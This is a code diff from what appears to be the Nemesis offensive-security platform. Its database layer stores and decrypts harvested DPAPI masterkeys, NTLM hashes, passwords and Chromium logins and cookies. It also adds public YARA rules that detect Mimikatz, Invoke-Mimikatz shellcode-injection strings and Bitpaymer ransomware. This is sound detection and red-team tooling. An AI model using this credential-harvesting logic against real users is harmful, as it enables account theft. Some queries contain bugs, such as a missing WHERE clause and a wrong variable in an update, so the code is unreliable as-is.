self.pool.acquire() as conn: + await conn.execute( + query, + obj.agent_id, + obj.project_id, + obj.source, + obj.timestamp, + obj.expiration, + obj.object_id, + obj.type, + obj.username, + obj.user_sid, + obj.masterkey_guid, + obj.is_decrypted, + obj.masterkey_bytes, + obj.domain_backupkey_guid, + obj.domainkey_pb_secret, + obj.decrypted_key_full, + obj.decrypted_key_sha1, + ) + + async def add_dpapi_domain_backupkey(self, obj: DpapiDomainBackupkey) -> None: + """Adds a new `nemesis.dpapi_domain_backupkeys` entry from a DpapiDomainBackupkey class object.""" + + query = ( + "INSERT INTO nemesis.dpapi_domain_backupkeys (project_id, agent_id, source, timestamp, expiration, domain_backupkey_guid, domain_controller, domain_backupkey_bytes) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8) ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + obj.project_id, + obj.agent_id, + obj.source, + obj.timestamp, + obj.expiration, + obj.domain_backupkey_guid, + obj.domain_controller, + obj.domain_backupkey_bytes, + ) + + async def add_registry_object(self, registry_object: RegistryObject) -> str: + """Adds a new `nemesis.registry_objects` entry from a RegistryObject class object.""" + + query = ( + "INSERT INTO nemesis.registry_objects (agent_id, project_id, source, timestamp, expiration, key, value_name, sddl, value_kind, value, tags) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11) " + "ON CONFLICT (project_id, source, key, value_name) DO NOTHING " + "RETURNING unique_db_id" + ) + + async with self.pool.acquire() as conn: + result = await conn.fetchval( + query, + registry_object.agent_id, + registry_object.project_id, + registry_object.source, + registry_object.timestamp, + registry_object.expiration, + registry_object.key, + registry_object.value_name, + registry_object.sddl, + registry_object.value_kind, + registry_object.value, + registry_object.tags, + ) + if result: + return f"{result}" + else: + return "" + + async def add_service(self, metadata: pb.Metadata, service_name: str) -> None: + """Adds a service to the database + + Args: + metadata (pb.Metadata): Metadata for the service object + service_name (str): Name of the service + """ + + agent_id = metadata.agent_id + project_id = metadata.project + source = metadata.source + timestamp = metadata.timestamp.ToDatetime() + expiration = metadata.expiration.ToDatetime() + + query = ( + "INSERT INTO nemesis.services (agent_id, project_id, source, timestamp, expiration, name) " + "VALUES ($1, $2, $3, $4, $5, $6) " + "ON CONFLICT (project_id, source, name) " + "DO UPDATE SET name = $6" + ) + + async with self.pool.acquire() as conn: + await conn.execute(query, agent_id, project_id, source, timestamp, expiration, service_name) + + async def add_service_property( + self, + metadata: pb.Metadata, + service_name: str, + value_name: ServiceColumn, + value: Union[int, str], + ) -> None: + """Sets a specific property for a service in the database. + + Args: + metadata (pb.Metadata): Metadata for the service object + service_name (str): Name of the service + value_name (ServiceColumn): Name of the property to set. The should NEVER be a user-supplied value. + value (_type_): Value of the property to set + """ + + agent_id = metadata.agent_id + project_id = metadata.project + source = metadata.source + timestamp = metadata.timestamp.ToDatetime() + expiration = metadata.expiration.ToDatetime() + + if value_name in [ServiceColumn.START_TYPE, ServiceColumn.SERVICE_TYPE]: + value_expression = "$7::SMALLINT" + else: + value_expression = "$7" + + query = ( + f"INSERT INTO nemesis.services (agent_id, project_id, source, timestamp, expiration, name, {value_name.value}) " + "VALUES ($1, $2, $3, $4, $5, $6, $7) " + f"ON CONFLICT (project_id, source, name) " + f"DO UPDATE SET {value_name.value} = {value_expression}" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + agent_id, + project_id, + source, + timestamp, + expiration, + service_name, + value, + ) + + async def add_host_info(self, os_info: HostInfo) -> None: + """Adds host information to the database, updating only if the existing value is null.""" + + # TODO: should the description COALESCE be the excluded value first? + query = ( + "INSERT INTO nemesis.hosts as t(agent_ids, project_id, source, timestamp, expiration, hostname, description, os_type, windows_major_version, windows_build, windows_release, windows_domain) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) " + "ON CONFLICT (hostname) " + "DO UPDATE SET " + " description = COALESCE(excluded.description, t.description)," + " os_type = COALESCE(t.os_type, excluded.os_type)," + " windows_major_version = COALESCE(t.windows_major_version,excluded.windows_major_version)," + " windows_build = COALESCE(t.windows_build, excluded.windows_build)," + " windows_release = COALESCE(t.windows_release, excluded.windows_release), " + " windows_domain = COALESCE(t.windows_domain, excluded.windows_domain)" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + [os_info.agent_id], + os_info.project_id, + os_info.source, + os_info.timestamp, + os_info.expiration, + os_info.hostname, + os_info.description, + os_info.os_type, + os_info.windows_major_version, + os_info.windows_build, + os_info.windows_release, + os_info.windows_domain, + ) + + async def add_slack_workspace(self, slack_workspace: SlackWorkspace) -> None: + """Adds a new `nemesis.slack_workspace` entry from a SlackWorkspace class object.""" + + query = ( + "INSERT INTO nemesis.slack_workspaces as t(agent_id, project_id, source, timestamp, expiration, username, workspace_id, workspace_domain, workspace_name, workspace_icon_url) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) " + " ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + slack_workspace.agent_id, + slack_workspace.project_id, + slack_workspace.source, + slack_workspace.timestamp, + slack_workspace.expiration, + slack_workspace.username, + slack_workspace.workspace_id, + slack_workspace.workspace_domain, + slack_workspace.workspace_name, + slack_workspace.workspace_icon_url, + ) + + async def add_slack_download(self, slack_download: SlackDownload) -> None: + """Adds a new `nemesis.slack_download` entry from a SlackDownload class object.""" + + query = ( + "INSERT INTO nemesis.slack_downloads as t(agent_id, project_id, source, timestamp, expiration, username, workspace_id, download_id, team_id, user_id, url, download_path, download_state, start_time, end_time) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15) " + " ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + slack_download.agent_id, + slack_download.project_id, + slack_download.source, + slack_download.timestamp, + slack_download.expiration, + slack_download.username, + slack_download.workspace_id, + slack_download.download_id, + slack_download.team_id, + slack_download.user_id, + slack_download.url, + slack_download.download_path, + slack_download.download_state, + slack_download.start_time, + slack_download.end_time, + ) + + async def add_named_pipe(self, named_pipe: NamedPipe) -> None: + """Adds a new `nemesis.named_pipes` entry from a NamedPipe class object.""" + + query = ( + "INSERT INTO nemesis.named_pipes as t(agent_id, project_id, source, timestamp, expiration, name, server_process_name, server_process_id, server_process_path, sddl) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10) " + " ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + named_pipe.agent_id, + named_pipe.project_id, + named_pipe.source, + named_pipe.timestamp, + named_pipe.expiration, + named_pipe.name, + named_pipe.server_process_name, + named_pipe.server_process_id, + named_pipe.server_process_path, + named_pipe.sddl, + ) + + async def add_network_connection(self, network_connection: NetworkConnection) -> None: + """Adds a new `nemesis.network_connections` entry from a NetworkConnection class object.""" + + query = ( + "INSERT INTO nemesis.network_connections as t(agent_id, project_id, source, timestamp, expiration, local_address, remote_address, protocol, state, process_id, process_name, service) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) " + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + network_connection.agent_id, + network_connection.project_id, + network_connection.source, + network_connection.timestamp, + network_connection.expiration, + network_connection.local_address, + network_connection.remote_address, + network_connection.protocol, + network_connection.state, + network_connection.process_id, + network_connection.process_name, + network_connection.service, + ) + + async def add_filesystem_object(self, file_info: FileInfo) -> None: + """Adds a new `nemesis.filesystem_objects` entry from a FileInfo class object.""" + + # NOTE: size, access_time, creation_time, modification_time, and SDDL are the first in + # COALESCE to ensure we update the accurate most recent value + query = ( + "INSERT INTO nemesis.filesystem_objects as t(agent_id, project_id, source, timestamp, expiration, path, name, extension, type, size, access_time, creation_time, modification_time, owner, sddl) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15) " + "ON CONFLICT (project_id, source, path) " + "DO UPDATE SET " + " name = COALESCE(t.name, excluded.name)," + " extension = COALESCE(t.extension, excluded.extension)," + " type = COALESCE(t.type, excluded.type)," + " size = COALESCE(excluded.size, t.size)," + " access_time = COALESCE(excluded.access_time, t.access_time)," + " creation_time = COALESCE(excluded.creation_time, t.creation_time)," + " modification_time = COALESCE(excluded.modification_time, t.modification_time)," + " sddl = COALESCE(excluded.sddl, t.sddl)" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + file_info.agent_id, + file_info.project_id, + file_info.source, + file_info.timestamp, + file_info.expiration, + file_info.path, + file_info.name, + file_info.extension, + file_info.type, + file_info.size, + file_info.access_time, + file_info.creation_time, + file_info.modification_time, + file_info.owner, + file_info.sddl, + ) + + async def add_filesystem_object_from_enriched(self, file_data_enriched: FileInfoDataEnriched) -> None: + """Adds a new `nemesis.filesystem_objects` entry from a FileInfoDataEnriched class object.""" + + # NOTE: size, magic_type, nemesis_file_id are the first in + # COALESCE to ensure we update the accurate most recent value + query = ( + "INSERT INTO nemesis.filesystem_objects as t(agent_id, project_id, source, timestamp, expiration, path, name, extension, type, size, magic_type, nemesis_file_id) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12) " + "ON CONFLICT (project_id, source, path) " + "DO UPDATE SET " + " name = COALESCE(t.name, excluded.name)," + " extension = COALESCE(t.extension, excluded.extension)," + " size = COALESCE(excluded.size, t.size)," + " magic_type = COALESCE(excluded.magic_type, t.magic_type)," + " nemesis_file_id = COALESCE(excluded.nemesis_file_id, t.nemesis_file_id)" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + file_data_enriched.agent_id, + file_data_enriched.project_id, + file_data_enriched.source, + file_data_enriched.timestamp, + file_data_enriched.expiration, + file_data_enriched.path, + file_data_enriched.name, + file_data_enriched.extension, + "file", + file_data_enriched.size, + file_data_enriched.magic_type, + file_data_enriched.nemesis_file_id, + ) + + async def add_file_data_enriched(self, file_data_enriched: FileDataEnriched) -> None: + """Adds a new `nemesis.file_data_enriched` entry from a FileDataEnriched class object.""" + + query = ( + "INSERT INTO nemesis.file_data_enriched as t(agent_id, project_id, source, timestamp, expiration, object_id, originating_object_id, path, name, size, md5, sha1, sha256, nemesis_file_type, magic_type, converted_pdf_id, extracted_plaintext_id, extracted_source_id, tags) " + "VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19) " + " ON CONFLICT DO NOTHING" + ) + + async with self.pool.acquire() as conn: + await conn.execute( + query, + file_data_enriched.agent_id, + file_data_enriched.project_id, + file_data_enriched.source, + file_data_enriched.timestamp, + file_data_enriched.expiration, + file_data_enriched.object_id, + file_data_enriched.originating_object_id, + file_data_enriched.path, + file_data_enriched.name, + file_data_enriched.size, + file_data_enriched.md5, + file_data_enriched.sha1, + file_data_enriched.sha256, + file_data_enriched.nemesis_file_type, + file_data_enriched.magic_type, + file_data_enriched.converted_pdf_id, + file_data_enriched.extracted_plaintext_id, + file_data_enriched.extracted_source_id, + file_data_enriched.tags, + ) + + async def get_plaintext_passwords(self, username: str = "%"): + """ + Returns entries from `authentication_data` where type=password, optionally + filtered by username. + """ + + async with self.pool.acquire() as conn: + results = await conn.fetch( + "SELECT data from nemesis.authentication_data WHERE type = 'password' AND username ILIKE $1", + username, + ) + return [result[0] for result in results] + + async def get_ntlm_hashes(self, username: str = "%"): + """ + Returns entries from `authentication_data` where type=ntlm_hash, optionally + filtered by username. + """ + + async with self.pool.acquire() as conn: + results = await conn.fetch( + "SELECT data from nemesis.authentication_data WHERE type = 'ntlm_hash' AND username ILIKE $1", + username, + ) + return [result[0] for result in results] + + async def get_cracked_passwords(self, username: str = "%"): + """Returns entries from `extracted_hashes` where is_cracked=True.""" + + async with self.pool.acquire() as conn: + results = await conn.fetch( + "SELECT plaintext_value from nemesis.authentication_data is_cracked = True AND username ILIKE $1", + username, + ) + return [result[0] for result in results] + + async def get_encrypted_dpapi_masterkeys(self, username: str = "%", machine: bool = False): + """Gets encrypted DPAPI masterkeys linked to a specific domain backupkey guid. + + machine -> only return machine masterkeys + + TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors + """ + + if machine: + query = ( + "SELECT username, user_sid, masterkey_guid, masterkey_bytes FROM nemesis.dpapi_masterkeys WHERE username = $1 AND is_decrypted = False AND type = 'machine'", + ) + else: + query = "SELECT username, user_sid, masterkey_guid, masterkey_bytes FROM nemesis.dpapi_masterkeys WHERE username = $1 AND is_decrypted = False AND type != 'machine'" + + async with self.pool.acquire() as conn: + return await conn.fetch( + query, + username, + ) + + async def get_encrypted_dpapi_masterkeys_from_backup_guid(self, domain_backupkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]: + """Gets encrypted DPAPI masterkeys linked to a specific domain backupkey guid. + + TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors + """ + + async with self.pool.acquire() as conn: + return await conn.fetch( + "SELECT masterkey_guid, domainkey_pb_secret FROM nemesis.dpapi_masterkeys WHERE domain_backupkey_guid = $1 AND is_decrypted = False", + domain_backupkey_guid, + ) + + async def get_encrypted_dpapi_masterkeys_from_username(self, username: str) -> List[Tuple[uuid.UUID, str, bytes]]: + """Gets encrypted DPAPI masterkeys linked to a specific username. + + TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors + """ + + async with self.pool.acquire() as conn: + return await conn.fetch( + "SELECT masterkey_guid, user_sid, masterkey_bytes FROM nemesis.dpapi_masterkeys WHERE username ILIKE $1 AND is_decrypted = False", + username, + ) + + async def get_encrypted_dpapi_blobs(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bool, bytes, uuid.UUID]]: + """Gets encrypted DPAPI blobs linked to a specific masterkey guid. + + TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors + """ + + async with self.pool.acquire() as conn: + return await conn.fetch( + "SELECT dpapi_blob_id, is_file, enc_data_bytes, enc_data_object_id FROM nemesis.dpapi_blobs WHERE masterkey_guid = $1 AND is_decrypted = False", + masterkey_guid, + ) + + async def get_decrypted_dpapi_masterkey(self, masterkey_guid: str): + """Returns (decrypted_key_sha1, decrypted_key_full) for a decrypted DPAPI masterkey or None for no results.""" + + async with self.pool.acquire() as conn: + row = await conn.fetchrow( + "SELECT decrypted_key_sha1, decrypted_key_full FROM nemesis.dpapi_masterkeys WHERE masterkey_guid = $1 AND is_decrypted = True", + masterkey_guid, + ) + return (row[0], row[1]) if row else None + + async def get_dpapi_domain_backupkey(self, domain_backupkey_guid: str) -> Optional[bytes]: + """Returns the raw bytes of a domain DPAPI backup key for a given GUID if it exists.""" + + async with self.pool.acquire() as conn: + row = await conn.fetchrow( + "SELECT domain_backupkey_bytes FROM nemesis.dpapi_domain_backupkeys WHERE domain_backupkey_guid = $1", + domain_backupkey_guid, + ) + return row[0] if row else None + + async def update_decrypted_dpapi_masterkey(self, masterkey_guid: str, decrypted_key_sha1: bytes, decrypted_key_full: bytes) -> None: + """Updates the (decrypted_key_sha1, decrypted_key_full) values for a DPAPI masterkey.""" + + query = "UPDATE nemesis.dpapi_masterkeys SET decrypted_key_sha1 = $1, decrypted_key_full = $2, is_decrypted = True WHERE masterkey_guid = $3" + + async with self.pool.acquire() as conn: + await conn.execute(query, decrypted_key_sha1, decrypted_key_full, masterkey_guid) + + async def update_decrypted_dpapi_blob( + self, + dpapi_blob_id: uuid.UUID, + dec_data_bytes: Optional[bytes], + dec_data_object_id: Optional[UUID], + ) -> None: + """Updates the (decrypted_key_sha1, decrypted_key_full) values for a DPAPI masterkey. + + If the decrypted data is over 1024 bytes, a dec_data_object_id should be passed instead. + """ + + if dec_data_bytes: + query = "UPDATE nemesis.dpapi_blobs SET dec_data_bytes = $1, is_decrypted = True WHERE dpapi_blob_id = $2" + async with self.pool.acquire() as conn: + await conn.execute(query, dec_data_bytes, dpapi_blob_id) + elif dec_data_object_id: + query = "UPDATE nemesis.dpapi_blobs SET dec_data_object_id = $1, is_decrypted = True WHERE dpapi_blob_id = $2" + async with self.pool.acquire() as conn: + await conn.execute(query, dec_data_object_id, dpapi_blob_id) + + async def get_decrypted_chromium_state_key(self, source: str, user_data_directory: str): + """Returns the bytes of a decrypted state key file or None for no results.""" + + async with self.pool.acquire() as conn: + row = await conn.fetchrow( + "SELECT key_bytes_dec FROM nemesis.chromium_state_files WHERE source = $1 AND user_data_directory = $2 AND is_decrypted = True", + source, + user_data_directory, + ) + return (row[0]) if row else None + + async def get_encrypted_chromium_state_key(self, masterkey_guid: str) -> List[Tuple[str, str, uuid.UUID, bytes, bytes]]: + """Gets encrypted Chromium state key entries linked to a specific masterkey guid. + + TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors + """ + + async with self.pool.acquire() as conn: + return await conn.fetch( + "SELECT source, user_data_directory, unique_db_id, key_bytes_enc, app_bound_fixed_data_enc FROM nemesis.chromium_state_files WHERE masterkey_guid = $1 AND is_decrypted = False", + masterkey_guid, + ) + + async def update_decrypted_chromium_state_key( + self, unique_db_id: UUID4, key_bytes_dec: bytes, app_bound_fixed_data_dec: bytes | None + ) -> None: + """Updates the decrypted state key values for a Chromium Local State file.""" + + query = "UPDATE nemesis.chromium_state_files SET key_bytes_dec = $1, is_decrypted = True WHERE unique_db_id = $2" + async with self.pool.acquire() as conn: + await conn.execute(query, key_bytes_dec, unique_db_id) + + if app_bound_fixed_data_dec and app_bound_fixed_data_dec is not None: + query = "UPDATE nemesis.chromium_state_files SET app_bound_fixed_data_dec = $1 WHERE unique_db_id = $2" + async with self.pool.acquire() as conn: + await conn.execute(query, key_bytes_dec, unique_db_id) + + async def get_dpapi_encrypted_chromium_logins(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]: + """Gets DPAPI encrypted Chromium Logins entries linked to a specific masterkey guid. + + TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors + """ + + async with self.pool.acquire() as conn: + return await conn.fetch( + "SELECT unique_db_id,password_value_enc FROM nemesis.chromium_logins WHERE masterkey_guid = $1 AND is_decrypted = False", + masterkey_guid, + ) + + async def get_aes_encrypted_chromium_logins(self, source: str, user_data_directory: str) -> List[Tuple[uuid.UUID, bytes]]: + """Gets AES encrypted Chromium Logins entries linked to a specific source/data directory. + + TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors + """ + + async with self.pool.acquire() as conn: + return await conn.fetch( + "SELECT unique_db_id,password_value_enc FROM nemesis.chromium_logins WHERE encryption_type = 'aes' and source = $1 AND user_data_directory = $2 AND is_decrypted = False", + source, + user_data_directory, + ) + + async def update_decrypted_chromium_login(self, unique_db_id: UUID4, password_value_dec: str) -> None: + """Updates a decrypted password value for a Chromium Logins file.""" + + query = "UPDATE nemesis.chromium_logins SET password_value_dec = $1, is_decrypted = True WHERE unique_db_id = $2" + async with self.pool.acquire() as conn: + await conn.execute(query, password_value_dec, unique_db_id) + + async def get_dpapi_encrypted_chromium_cookies(self, masterkey_guid: str) -> List[Tuple[uuid.UUID, bytes]]: + """Gets DPAPI encrypted Chromium Cookies entries linked to a specific masterkey guid. + + TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors + """ + + async with self.pool.acquire() as conn: + return await conn.fetch( + "SELECT unique_db_id,value_enc FROM nemesis.chromium_cookies WHERE masterkey_guid = $1 AND is_decrypted = False", + masterkey_guid, + ) + + async def get_aes_encrypted_chromium_cookies(self, source: str, user_data_directory: str) -> List[Tuple[uuid.UUID, bytes]]: + """Gets AES encrypted Chromium Cookies entries linked to a specific source/data directory. + + TODO: Use cursors to handle lots of results https://magicstack.github.io/asyncpg/current/api/index.html?highlight=fetchval#cursors + """ + + async with self.pool.acquire() as conn: + return await conn.fetch( + "SELECT unique_db_id,value_enc FROM nemesis.chromium_cookies WHERE encryption_type = 'aes' AND source = $1 AND user_data_directory = $2 AND is_decrypted = False", + source, + user_data_directory, + ) + + async def update_decrypted_chromium_cookie(self, unique_db_id: UUID4, value_dec: str) -> None: + """Updates a decrypted password value for a Chromium Cookies file.""" + + query = "UPDATE nemesis.chromium_cookies SET value_dec = $1, is_decrypted = True WHERE unique_db_id = $2" + async with self.pool.acquire() as conn: + await conn.execute(query, value_dec, unique_db_id) + + # async def sanitize_identifier(self, identifier: str) -> str: + # """Sanitizes a postgres column names to make it safe for use in dynamic queries + + # Args: + # identifier (str): The identifier to sanitize (e.g., a user-supplied column name) + + # Returns: + # str: The sanitized identifier. + # """ + + # async with self.pool.acquire() as conn: + # sanitized = await conn.fetchval("SELECT quote_ident($1)", identifier) + # return sanitized diff --git a/cmd/enrichment/enrichment/lib/public_yara/elastic-agent-rules.yara b/cmd/enrichment/enrichment/lib/public_yara/elastic-agent-rules.yara new file mode 100644 index 0000000..5125c31 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/public_yara/elastic-agent-rules.yara @@ -0,0 +1,4783 @@ +// From https://github.com/elastic/protections-artifacts/tree/main/yara +// Elastic License v2 +rule Windows_EICAR_c6193e90 { + meta: + id = "c6193e90-edf5-41c5-a78f-9bdbd90f7450" + fingerprint = "d94318a71723fc4f2e9f97f5dd5a0f1efc34a32f3c9eac8fa0b2da61c1d14f5d" + creation_date = "2021-03-19" + last_modified = "2021-07-16" + os = "Windows" + arch = "x86" + category_type = "Not-a-virus" + family = "Not-a-virus" + threat_name = "Windows.EICAR.Not-a-virus" + source = "Manual" + maturity = "Diagnostic, Production" + reference_sample = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f" + scan_type = "File, Memory" + severity = 100 + strings: + $a = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + +condition: + all of them +} + +rule Windows_Hacktool_Mimikatz_1388212a { + meta: + id = "1388212a-2146-4565-b93d-4555a110364f" + fingerprint = "dbbdc492c07e3b95d677044751ee4365ec39244e300db9047ac224029dfe6ab7" + creation_date = "2021-04-13" + last_modified = "2021-04-14" + os = "Windows" + arch = "x86" + category_type = "Hacktool" + family = "Mimikatz" + threat_name = "Windows.Hacktool.Mimikatz" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "Password: %s" wide fullword + // $a2 = "\n * Session Key\n : 0x%08x - %s" wide fullword + $a3 = "Injecting ticket : " wide fullword + $a4 = "/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )" wide fullword + $a5 = "Remove mimikatz driver (mimidrv)" wide fullword + $a6 = "mimikatz(commandline) # %s" wide fullword + $a7 = "Password: %s" wide fullword + $a8 = " - SCardControl(FEATURE_CCID_ESC_COMMAND)" wide fullword + $a9 = " * to 0 will take all 'cmd' and 'mimikatz' process" wide fullword + $a10 = "** Pass The Ticket **" wide fullword + $a11 = "-> Ticket : %s" wide fullword + $a12 = "Busylight Lync model (with bootloader)" wide fullword + $a13 = "mimikatz.log" wide fullword + $a14 = "Log mimikatz input/output to file" wide fullword + $a15 = "ERROR kuhl_m_dpapi_masterkey ; kull_m_dpapi_unprotect_domainkey_with_key" wide fullword + $a16 = "ERROR kuhl_m_lsadump_dcshadow ; unable to start the server: %08x" wide fullword + $a17 = "ERROR kuhl_m_sekurlsa_pth ; GetTokenInformation (0x%08x)" wide fullword + $a18 = "ERROR mimikatz_doLocal ; \"%s\" module not found !" wide fullword + $a19 = "Install and/or start mimikatz driver (mimidrv)" wide fullword + $a20 = "Target: %hhu (0x%02x - %s)" wide fullword + $a21 = "mimikatz Ho, hey! I'm a DC :)" wide fullword + $a22 = "mimikatz service (mimikatzsvc)" wide fullword + $a23 = "[masterkey] with DPAPI_SYSTEM (machine, then user): " wide fullword + $a24 = "$http://blog.gentilkiwi.com/mimikatz 0" ascii fullword + $a25 = " * Username : %wZ" wide fullword +condition: + 3 of ($a*) +} + +rule Windows_Hacktool_Mimikatz_674fd079 { + meta: + id = "674fd079-f7fe-4d89-87e7-ac11aa21c9ed" + fingerprint = "b8f71996180e5f03c10e39eb36b2084ecaff78d7af34bd3d0d75225d2cfad765" + creation_date = "2021-04-14" + last_modified = "2021-04-14" + description = "Detection for default mimikatz memssp module" + os = "Windows" + arch = "x86" + category_type = "Hacktool" + family = "Mimikatz" + threat_name = "Windows.Hacktool.Mimikatz" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a" + scan_type = "File, Memory" + severity = 99 + strings: + $a1 = { 44 30 00 38 00 } + $a2 = { 48 78 00 3A 00 } + $a3 = { 4C 25 00 30 00 } + $a4 = { 50 38 00 78 00 } + $a5 = { 54 5D 00 20 00 } + $a6 = { 58 25 00 77 00 } + $a7 = { 5C 5A 00 5C 00 } + $a8 = { 60 25 00 77 00 } + $a9 = { 64 5A 00 09 00 } + $a10 = { 6C 5A 00 0A 00 } + $a11 = { 68 25 00 77 00 } + $a12 = { 68 25 00 77 00 } + $a13 = { 6C 5A 00 0A 00 } + $b1 = { 6D 69 6D 69 C7 84 24 8C 00 00 00 6C 73 61 2E C7 84 24 90 00 00 00 6C 6F 67 } +condition: + all of ($a*) or $b1 +} + +rule Windows_Hacktool_Mimikatz_355d5d3a { + meta: + id = "355d5d3a-e50e-4614-9a84-0da668c40852" + fingerprint = "9a23845ec9852d2490171af111612dc257a6b21ad7fdfd8bf22d343dc301d135" + creation_date = "2021-04-14" + last_modified = "2021-04-14" + description = "Detection for Invoke-Mimikatz" + os = "Windows" + arch = "x86" + category_type = "Hacktool" + family = "Mimikatz" + threat_name = "Windows.Hacktool.Mimikatz" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "945245ca795e0a3575ee4fdc174df9d377a598476c2bf4bf0cdb0cde4286af96" + scan_type = "File, Memory" + severity = 90 + strings: + $a1 = "$PEBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwc" + $a2 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwc" + $b1 = "Write-BytesToMemory -Bytes $Shellcode" + $b2 = "-MemoryAddress $GetCommandLineWAddrTemp" + $b3 = "-MemoryAddress $GetCommandLineAAddrTemp" + $c1 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword + $c2 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs) -ComputerNam" + $c3 = "at: http://blog.gentilkiwi.com" + $c4 = "on the local computer to dump certificates." + $c5 = "Throw \"Unable to write shellcode to remote process memory.\"" fullword + $c6 = "-Command \"privilege::debug exit\" -ComputerName \"computer1\"" + $c7 = "dump credentials without" + $c8 = "#The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory" fullword + $c9 = "two remote computers to dump credentials." + $c10 = "#If a remote process to inject in to is specified, get a handle to it" fullword +condition: + (1 of ($a*) or 2 of ($b*)) or 5 of ($c*) +} + +rule Windows_Ransomware_Bitpaymer_d74273b3 : beta { + meta: + name = "YARA Ransomware - BITPAYMER Variant B" + id = "d74273b3-d109-4b5d-beff-dffee9a984b1" + fingerprint = "4f913f06f7c7decbeb78187c566674f91ebbf929ad7057641659bb756cf2991b" + creation_date = "2020-06-25" + last_modified = "2021-02-16" + description = "Identifies BITPAYMER ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Bitpaymer" + threat_name = "Windows.Ransomware.Bitpaymer" + source = "Manual" + maturity = "Diagnostic" + reference = "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/" + scan_type = "File, Memory" + severity = 100 + strings: + $b1 = { 24 E8 00 00 00 29 F0 19 F9 89 8C 24 88 00 00 00 89 84 24 84 00 } +condition: + 1 of ($b*) +} + +rule Windows_Ransomware_Bitpaymer_bca25ac6 : beta { + meta: + name = "YARA Ransomware - BITPAYMER Variant A" + id = "bca25ac6-e351-4823-be75-b0661c89588a" + fingerprint = "2ecc7884d47ca7dbba30ba171b632859914d6152601ea7b463c0f52be79ebb8c" + creation_date = "2020-06-25" + last_modified = "2021-03-18" + description = "Identifies BITPAYMER ransomware" + os = "Windows" + arch = "x86" + category_type = "Ransomware" + family = "Bitpaymer" + threat_name = "Windows.Ransomware.Bitpaymer" + source = "Manual" + maturity = "Diagnostic" + reference = "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "RWKGGE.PDB" fullword + $a2 = "*Qf69@+mESRA.RY7*+6XEF#NH.pdb" fullword + $a3 = "04QuURX.pdb" fullword + $a4 = "9nuhuNN.PDB" fullword + $a5 = "mHtXGC.PDB" fullword + $a6 = "S:\\Work\\_bin\\Release-Win32\\wp_encrypt_new.pdb" fullword + $a7 = "C:\\Work\\_bin\\Release-Win32\\wp_encrypt.pdb" fullword + $a8 = "k:\\softcare\\release\\h2O.pdb" fullword +condition: + 1 of ($a*) +} + 